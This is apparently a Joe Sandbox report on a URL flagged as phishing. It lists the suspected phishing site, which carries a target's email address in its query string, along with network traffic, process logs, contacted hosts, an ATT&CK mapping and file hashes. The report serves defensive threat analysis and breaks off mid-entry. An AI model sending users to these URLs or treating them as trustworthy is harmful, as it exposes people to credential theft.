Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://revisedemployeehandbook.journeythroughruins.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8

Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: revisedemployeehandbook.journeythroughruins.de
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: mailmeteor.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825

Source: unknown	HTTPS traffic detected: 142.250.72.97:443 -> 192.168.2.17:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.243:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.61.3:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.14:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.240.48:443 -> 192.168.2.17:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.77.220.51:443 -> 192.168.2.17:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.77.220.51:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.17:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.17:49825 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.evad.win@24/3@22/22

Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB

Jump to behavior

Source: unknown	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2064 --field-trial-handle=1964,i,5711575836952122047,2672629311710222216,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de"
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2064 --field-trial-handle=1964,i,5711575836952122047,2672629311710222216,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 JavaScript	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://5298925908-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
mailmeteor.com	172.67.187.19	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.40.228	true	false	high
revisedemployeehandbook.journeythroughruins.de	172.67.215.243	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.72.97	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/other-Win32-v19.bundle	false		high
https://otelrules.svc.static.microsoft/rules/rule120639v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120630v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120645v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120654v0s19.xml	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule701200v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120648v0s19.xml	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://otelrules.svc.static.microsoft/rules/rule120657v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120660v0s19.xml	false		high
https://5298925908-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120621v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120663v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120679v0s19.xml	false		high
https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	false		unknown
https://otelrules.svc.static.microsoft/rules/rule120624v0s19.xml	false		high
https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de#	false		unknown
https://otelrules.svc.static.microsoft/rules/rule120615v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule224902v2s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120651v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120633v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120609v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120636v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120627v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120402v21s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120618v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120642v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120629v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701201v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120623v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120652v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120658v0s19.xml	false		high
https://chrome.google.com/webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj	false		high
https://otelrules.svc.static.microsoft/rules/rule120675v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120635v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120612v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120676v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120681v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120640v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700201v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120634v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120669v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120641v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120628v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120682v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120617v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120611v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120646v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120664v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120670v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120610v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120674v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120677v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120619v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120613v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120671v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120625v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120662v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120622v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120653v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120616v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120631v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120656v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120647v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120680v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120665v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120602v10s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120659v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120601v3s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120668v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120626v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120620v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120632v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120600v5s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120638v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120667v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120644v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120672v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule224901v11s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120666v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120650v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120608v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120637v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120673v0s19.xml	false		high
https://clients2.googleusercontent.com/crx/blobs/Ad_brx2zn0VllUfDy3IInsf2x_JT_KYwvCFCBKIccViK8GQrmAxO7uKh27DftB49uvpTV6LoiwfTytfG26LWZ9yEblrh9n2ArDUdsJt1S0eRDzFPHmbtV_p0UKkid0dN6ohjAMZSmuWMxdBIryELE2Jro2LlEMjsJPgraw/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_25_3_1_1.crx	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
https://otelrules.svc.static.microsoft/rules/rule120643v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120649v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120678v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120661v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120655v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120614v0s19.xml	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
43.128.240.48	unknown	Japan	4249	LILLY-ASUS	false
104.18.10.207	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.187.19	mailmeteor.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.251.40.228	www.google.com	United States	15169	GOOGLEUS	false
104.77.220.51	unknown	United States	16625	AKAMAI-ASUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.251.41.14	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
23.209.72.31	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.92.58	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.9	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.16.214	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.64.100	unknown	United States	15169	GOOGLEUS	false
172.67.215.243	revisedemployeehandbook.journeythroughruins.de	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.72.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654278
Start date and time:	2025-04-02 08:38:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.evad.win@24/3@22/22
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.32.110, 142.250.65.238, 142.251.16.84, 20.12.23.50, 184.31.69.3, 142.250.80.42, 13.107.246.40, 142.250.65.170, 142.250.65.195
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.svc.static.microsoft, ajax.googleapis.com, update.googleapis.com, aadcdn.msauth.net, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.acl

Download File

Process:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	low
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.dic

Download File

Process:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
